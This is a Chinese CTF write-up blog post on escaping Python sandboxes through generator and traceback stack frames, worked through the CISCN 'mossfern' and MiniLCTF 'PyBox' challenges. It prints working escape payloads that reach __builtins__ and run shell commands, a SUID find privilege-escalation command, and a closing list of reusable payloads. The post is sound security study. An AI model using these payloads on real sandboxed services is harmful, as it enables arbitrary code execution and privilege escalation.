从2题初探栈帧逃逸

OneZ3r0 Lv3

前言

MiniLCTF看到有道栈帧逃逸的题,当时没调出来,补档。正好去年国赛也有道类似的题目,借此机会学习一下

前置知识

生成器
1
2
3
4
5
6
7
8
9
10
11
12
def square_numbers(nums: list[int]):
lst = []
for i in nums:
lst.append(i * i)
return lst


nums = [1, 2, 3, 4, 5]
lst_sq_nums = square_numbers(nums)
print(lst_sq_nums)

# output: [1, 4, 9, 16, 25]

这是一个对列表元素求平方的函数,它一次执行完成了所有计算,并存储在列表中。如果我们使用生成器函数,将其改为如下代码

1
2
3
4
5
6
7
8
9
def square_numbers(nums: list[int]):
for i in nums:
yield i * i

nums = [1, 2, 3, 4, 5]
gen_sq_nums = square_numbers(nums)
print(gen_sq_nums)

# output: <generator object square_numbers at 0x000001C77C31FED0>

可见其返回了一个生成器对象,并没有进行任何计算和存储。这样有什么好处呢?这意味着在内存有限的时候,生成器会根据用户的需求来计算并返回结果,而不是一次性给出全部结果,消耗内存大大减少。

生成器对象是一个迭代器,具有next()方法。迭代器又是什么呢?在python中,一切皆为对象,有自己的属性和方法。其中,能使用for语句的对象,叫做可迭代对象(iterables),它具有一个属性__iter__,而for循环的底层原理就是使用iterables__iter__获取一个迭代器iterator,再调用iterator__next__函数

1
2
3
print(hasattr(str, '__iter__')) # True
print(hasattr(list, '__iter__')) # True
print(hasattr(int, '__iter__')) # False

我们每调用一次next,才进行一次计算,不会对剩下的数据进行计算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def square_numbers(nums: list[int]):
for i in nums:
yield i * i

nums = [1, 2, 3, 4, 5]
gen_sq_nums = square_numbers(nums) # 生成器对象
print(next(gen_sq_nums))
print(next(gen_sq_nums))
print(next(gen_sq_nums))
print(next(gen_sq_nums))
print(next(gen_sq_nums))

'''
1
4
9
16
25
'''

由于生成器仍然是一个可迭代对象,所以我们仍然是可以使用for循环遍历这个生成器的,

1
2
3
4
5
6
7
8
9
10
11
12
for i in gen_sq_nums:
print(i)
print(list(gen_sq_nums))

'''
1
4
9
16
25
[1, 4, 9, 16, 25]
'''

当然我们也可以使用列表推导式来完成这个工作,对应如果把列表推导式的方括号改为小括号,我们就得到了一个生成器推导式

1
2
3
4
5
6
7
8
9
10
11
12
nums = [1, 2, 3, 4, 5]

gen_sq_nums = [i*i for i in nums]
print(gen_sq_nums)

gen_sq_nums = (i*i for i in nums)
print(gen_sq_nums)

'''
[1, 4, 9, 16, 25]
<generator object <genexpr> at 0x...>
'''
栈帧对象

栈帧对象,栈帧对象的来源是生成器,这也是为什么要在外面创建一个g生成器对象,而不是直接使用函数(my_generator) my_generator.gi_frame_.f_back去获取栈帧对象

1
2
3
def my_generator():
yield g.gi_frame.f_back
g = my_generator()

为什么要在内部就取fallback呢,因为gi_frame当前生成器的栈帧(即自身帧),要想获取到执行生成器的这个栈帧(即调用者的帧)需要fallback,但是如果已经获取到生成器对象了,Python会清除这个对象的fallback引用(事实上,你在外部敲下.f_back的时候,是没有候选提示的XD)

所以我的理解是,不是真的为None,只是引用被清除了,你没法拿到而已

因此想要获取到当前执行生成器的这个栈帧,就必须在生成器内部捕获它并返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def generator():
frame = g.gi_frame
f = frame.f_back
print("fallback inside: ", f)
yield frame

g = generator()
frame2 = next(g)
f2 = frame2.f_back
print("fallback outside: ", f2)


'''output
fallback inside: <frame at 0x..., file...>
fallback outside: None
'''

其实这里我还是有点疑惑的,因为不太确定当前到底有多少帧,会不会是已经fallback到最外层了才导致的none呢?

于是我这样测试了一下,发现确实如之前理解的那样

1
2
3
4
5
6
7
8
9
def my_generator():
f = g.gi_frame
print(f) # f1
print(f.f_back) # f2
print(f.f_back.f_back) # None
yield

g = my_generator()
f0 = next(g)

gi_frame是当前生成器自身帧,fallback到调用帧(也就是我们目前这里的全局帧),再fallback一次就none了

1
2
3
4
5
6
7
8
9
def my_generator():
f = g.gi_frame.f_back # f1
print(f) # f2
print(f.f_back) # None
print(f.f_back.f_back) # AttributeError: 'NoneType' object has no attribute 'f_back'
yield

g = my_generator()
f0 = next(g)

我们可以再用f_code.co_consts来验证我们获取的确实是目前的全局帧

1
2
3
4
5
6
7
8
9
10
11
12
13
ID = 10
USER = 'onez3r0'

def my_generator():
f = g.gi_frame
print(f)
print(f.f_code.co_consts) # (None,)
print(f.f_back)
print(f.f_back.f_code.co_consts) # (10, 'onez3r0', <code object my_generator...>)
yield

g = my_generator()
f0 = next(g)

可以看到,我们确实通过栈帧对象fallback把全局的变量给拿到了

然后我们把调用帧返回出来,再查看f_code也是可以的(不过这里也同样没有代码候选提示,但是是可以执行的,和前面的不太一样)

1
2
3
4
5
6
7
8
9
10
11
12
ID = 10
USER = 'onez3r0'

def my_generator():
f = g.gi_frame.f_back
yield f

g = my_generator()
f0 = next(g)

print(f0.f_code.co_consts)
print(f0.f_globals)

以上便是生成器和栈帧对象的基础知识

2024CISCN-mossfern

题目给了两个文件
main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import os
import subprocess
from flask import Flask, request, jsonify
from uuid import uuid1

app = Flask(__name__)

runner = open("/app/runner.py", "r", encoding="UTF-8").read()
flag = open("/flag", "r", encoding="UTF-8").readline().strip()


@app.post("/run")
def run():
id = str(uuid1())
try:
data = request.json
open(f"/app/uploads/{id}.py", "w", encoding="UTF-8").write(
runner.replace("THIS_IS_SEED", flag).replace("THIS_IS_TASK_RANDOM_ID", id))
open(f"/app/uploads/{id}.txt", "w", encoding="UTF-8").write(data.get("code", ""))
run = subprocess.run(
['python', f"/app/uploads/{id}.py"],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
timeout=3
)
result = run.stdout.decode("utf-8")
error = run.stderr.decode("utf-8")
print(result, error)
if os.path.exists(f"/app/uploads/{id}.py"):
os.remove(f"/app/uploads/{id}.py")
if os.path.exists(f"/app/uploads/{id}.txt"):
os.remove(f"/app/uploads/{id}.txt")
return jsonify({
"result": f"{result}\n{error}"
})
except:
if os.path.exists(f"/app/uploads/{id}.py"):
os.remove(f"/app/uploads/{id}.py")
if os.path.exists(f"/app/uploads/{id}.txt"):
os.remove(f"/app/uploads/{id}.txt")
return jsonify({
"result": "None"
})


if __name__ == "__main__":
app.run("0.0.0.0", 5000)

runner.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
def source_simple_check(source):
"""
Check the source with pure string in string, prevent dangerous strings
:param source: source code
:return: None
"""

from sys import exit
from builtins import print

try:
source.encode("ascii")
except UnicodeEncodeError:
print("non-ascii is not permitted")
exit()

for i in ["__", "getattr", "exit"]:
if i in source.lower():
print(i)
exit()


def block_wrapper():
"""
Check the run process with sys.audithook, no dangerous operations should be conduct
:return: None
"""

def audit(event, args):

from builtins import str, print
import os

for i in ["marshal", "__new__", "process", "os", "sys", "interpreter", "cpython", "open", "compile", "gc"]:
if i in (event + "".join(str(s) for s in args)).lower():
print(i)
os._exit(1)
return audit


def source_opcode_checker(code):
"""
Check the source in the bytecode aspect, no methods and globals should be load
:param code: source code
:return: None
"""

from dis import dis
from builtins import str
from io import StringIO
from sys import exit

opcodeIO = StringIO()
dis(code, file=opcodeIO)
opcode = opcodeIO.getvalue().split("\n")
opcodeIO.close()
for line in opcode: # 操作码检测 globals、import、method
if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):
if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]):
break
print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)]))
exit()


if __name__ == "__main__":

from builtins import open
from sys import addaudithook
from contextlib import redirect_stdout
from random import randint, randrange, seed
from io import StringIO
from random import seed
from time import time

source = open(f"/app/uploads/THIS_IS_TASK_RANDOM_ID.txt", "r").read()
source_simple_check(source)
source_opcode_checker(source)
code = compile(source, "<sandbox>", "exec")
addaudithook(block_wrapper())
outputIO = StringIO()
with redirect_stdout(outputIO):
seed(str(time()) + "THIS_IS_SEED" + str(time()))
exec(code, {
"__builtins__": None, # 禁用__builtins__沙箱
"randint": randint,
"randrange": randrange,
"seed": seed,
"print": print # 只允许一些随机数和print
}, None)
output = outputIO.getvalue()

if "THIS_IS_SEED" in output:
print("这 runtime 你就嘎嘎写吧, 一写一个不吱声啊,点儿都没拦住!")
print("bad code-operation why still happened ah?")
else:
print(output)

大概就是向/run路由发送json,然后将code字段写入一个txt文件,再交给runner过滤,沙箱执行,同时flag会替换掉runner中的THIS_IS_SEED

也就是说我们要想办法拿到运行时沙箱中的全局常量(因为THIS_IS_SEED不是变量),就能看到flag了

这里就不展示调试过程了

1
2
3
4
5
6
7
8
9
10
11
12
def jail():
def my_generator():
f = g.gi_frame.f_back.f_back.f_back.f_back
yield f

g = my_generator()
f0 = [i for i in g][0]
print(f0)
print(f0.f_code.co_consts)
jail()

# bad code-operation why still happened ah?

这里我们是能拿到常量,但是输出被waf掉了,因此想办法把__builtins__里面的str拿出来用for循环逐字符打印就能绕过waf的匹配了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 触发生成器
next(g)

# 用推导式替代next,因为builtins被禁用了
f1 = [i for i in g][0]

# 获取globals全局栈帧
f = f1.f_back...

# str也用不了,得取出来
str = f.f_globals['_''_builtins_''_'].str

# 代码对象
f.f_code.co_consts

# 绕过audit
for i in str(f.f_code.co_consts):
print(i)

对于load globals的操作码检测,我们只需要在外层套一个函数jail即可,这样对于生成器而言,它的调用帧不是globals,就能绕过检测了

最后exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def jail():
def my_generator():
f = g.gi_frame.f_back.f_back.f_back.f_back
yield f

g = my_generator()
f0 = [i for i in g][0]
print(f0)

str = f0.f_globals['_''_builtins_''_'].str

for i in str(f0.f_code.co_consts):
print(i, end=' ')
jail()

2024MiniLCTF-PyBox

本地调了半天……最后发现是忘记绕过auditcheck了(导致一直error没法调,红温了)

1
2
list=lambda x:True
len=lambda x:False

这里出现的最大问题就是使用了各种内置的函数来进行事件审计相关的判断,导致我们可以通过篡改内置函数来绕过(正常使用的话用原生的各种实现就好了)

1
2
3
4
5
6
7
8
9
print("")
list=lambda x:True
len=lambda x:False
try:
raise Exception
except Exception as e:
frame = e.__traceback__.tb_frame.f_back
print(frame)
print("")

这里想试试一下生成器栈帧逃逸,没想到居然成了?

1
2
3
4
5
6
7
8
9
10
11
12
print("")
list=lambda x:True
len=lambda x:False
def my_g():
f = g.gi_frame.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back
yield f
g = my_g()
f0 = [i for i in g][0]
print(f0.f_globals)
print("")

# '__builtins__': <module 'builtins' (built-in)>

这里相当于拿到了builtins的module

但是因为语法树,我们没法拿到builtins里面的__import__

1
2
3
4
5
6
7
8
9
class SandboxVisitor(ast.NodeVisitor):
forbidden_attrs = {
"__class__", "__dict__", "__bases__", "__mro__", "__subclasses__",
"__globals__", "__code__", "__closure__", "__func__", "__self__",
"__module__", "__import__", "__builtins__", "__base__"
}


__import__ = f0.f_globals['__builtins__'].__import__ # ValueError

而这里相当于是用拿到的全局exec再在外层拿__import__,而且是在exec的字符串节点中,加上ast识别不出这个属性访问节点就能绕过了

1
2
3
4
5
6
7
8
9
10
11
12
13
print("")
list=lambda x:True
len=lambda x:False
def my_g():
f = g.gi_frame.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back
yield f
g = my_g()
f0 = [i for i in g][0]
globals = f0.f_globals
builtins = globals['__builtins__']
exec = builtins.exec
exec("builtins.__import__('os').system('whoami')")
print("")

也可以修改visit_Attribute,不过这种方式应该是要用traceback来逃逸

1
frame.f_globals['SandboxVisitor'].visit_Attribute=lambda x,y:None

但是非常奇怪的是在我本地windows上用生成器逃逸的payload能通,远程就不行了,然后traceback则是dict的写法不一样,本地不行,远程可以(估计是和python环境或者windows/linux有点关系),而且用生成器拿到的globals不全,不是很懂为什么

所以最后还是用了traceback

1
2
3
4
5
6
7
8
list=lambda x:True
len=lambda x:False
try:
raise Exception
except Exception as e:
frame = e.__traceback__.tb_frame.f_back
b = frame.f_globals['__builtins__']
b.exec("b.__import__('os').system('whoami > app.py')")

读一下根目录

1
app bin boot dev entrypoint.sh etc home lib lib64 m1n1FL@G media mnt opt proc root run sbin srv sys tmp usr var

读不了flag应该是有权限

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/sh

echo $FLAG > /m1n1FL@G
echo "\nNext, let's tackle the more challenging misc/pyjail">> /m1n1FL@G
chmod 600 /m1n1FL@G
chown root:root /m1n1FL@G

chmod 4755 /usr/bin/find

useradd -m minilUser
export FLAG=""
chmod -R 777 /app
su minilUser -c "python /app/app.py"

发现find可以suid提权

1
find . -exec cat /m1n1FL@G \; > app.py

其中\;是-exec执行结束的标志,它对每个find到的文件都执行-exec后面的命令,并最后将find执行的整个结果,写入app.py

补充

后面研究了一下PyBox这题包括生成器在内的其它逃逸方式,对前文做一个补充

定睛一看,才发现这题ast只是禁用了生成器表达式而已(可以自己打印调试下就知道有没有触发了)

1
2
def visit_GeneratorExp(self, node):
raise ValueError

也就只是前文提到的形如(i for i in range(3)),用不了而已。用生成器获取栈帧对象是一点问题没有

但是同样的payload本地可以远程不行,估计要么是python的原因要么是linux和windows的原因

用linux调了下,真是环境的问题,所以以后还是尽量在linux调了,虽然不是很方便,但至少比较准确

前面说的,而且用生成器拿到的globals不全,是windows的问题

不过确实这种栈帧和底层运行环境或许有很大关系,我调试的时候用的wsl的linux,就没再深究下去,留给有兴趣的大佬orz

说明:我对源码做了改动,方便看回显调试

破案了,纠结了很久是wp的解法问题,只逃出了一层栈帧,然后执行的时候都没回显,非常奇妙,下面是wp的做法

1
2
3
4
5
6
7
8
list=lambda x:True
len=lambda x:False
try:
raise Exception
except Exception as e:
frame = e.__traceback__.tb_frame.f_back
b = frame.f_globals['__builtins__']
print(b)

这样执行时没有回显dict的,但是确实是可以命令执行…比较神奇

(后记:这种方式是拿到了一个builtins模块,然后执行完输出流可能没能返回出来。因为wp里面是用的.获取的import,而显然dict是不能以这种方式访问键值对的)

image-20250729144846822
image-20250729144846822
image-20250729122413354
image-20250729122413354

下面我整理一下做法,个人认为逃逸应该要拿到最外层的栈帧,也就是最后拿到的builtins要是dict,这样比较通用,而且不会出现奇奇怪怪的报错

1
2
3
4
5
6
7
8
9
10
11
list=lambda x:True
len=lambda x:False
try:
raise Exception
except Exception as e:
frame = e.__traceback__.tb_frame
while frame.f_back:
frame = frame.f_back
b = frame.f_globals['__builtins__']
print(b)
# b['exec']("b['__import__']('subprocess').getoutput('whoami > 2.txt')")
image-20250729122744718
image-20250729122744718

这也太神奇了,用把输出弄到命令行拿到的是module可以.,环境中拿到的是dict……已经有点懵了

image-20250729145506124
image-20250729145506124

只能说本地调试真是一门技术…

可能和我改源码用来调试的代码有关,又或者是multiprocess的原因,我在wp的基础上在调试代码继续继续一级一级fallback,竟然又能绕一圈回去

image-20250729150502147
image-20250729150502147

总之还是以远程环境为主吧,加上这题限制太多了,本地调的也不方便

另外开头的audithook绕过看到还有用 __getattribute__ (没被禁用)直接拿 __globals__的劫持两个内置函数的(虽然好像不用这么做,但是是个思路),也记在此处

1
2
3
g = my_audit_checker.__getattribute__('__globals__')
g["__builtins__"]["list"] = lambda x: ["a"]
g["__builtins__"]["len"] = lambda x: 0

逃逸总结

这篇文章废话太多了,懒得改了,最后上点干货

traceback逃逸
1
2
3
4
5
6
7
8
9
10
list=lambda x:True
len=lambda x:False
try:
raise Exception
except Exception as e:
frame = e.__traceback__.tb_frame
while frame.f_back:
frame = frame.f_back
b = frame.f_globals['__builtins__']
b['exec']("b['__import__']('subprocess').getoutput('whoami > app.py')")
生成器逃逸
1
2
3
4
5
6
7
8
9
10
11
12
list=lambda x:True
len=lambda x:False
def my_g():
frame = gen.gi_frame
while frame.f_back:
frame = frame.f_back
globals = frame.f_globals
yield globals
gen = my_g()
g = [i for i in gen][0]
b = g['__builtins__']
b['exec']("b['__import__']('subprocess').getoutput('ls / > app.py')")
闭包逃逸

ing…
似乎这种不是拿frame,只能拿一些变量之类的

更多的应用场景是在go语言

参考文章

https://idontknowctf.xyz/2025/05/09/Mini-LCTF2025-WriteUp/

https://www.kkayu.com/archive/13

https://forum.butian.net/share/4114

https://www.freebuf.com/articles/web/422169.html

  • 标题: 从2题初探栈帧逃逸
  • 作者: OneZ3r0
  • 创建于 : 2025-06-30 18:51:32
  • 更新于 : 2025-07-29 18:03:58
  • 链接: https://blog.onez3r0.top/2025/06/30/stack-frame-escape/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。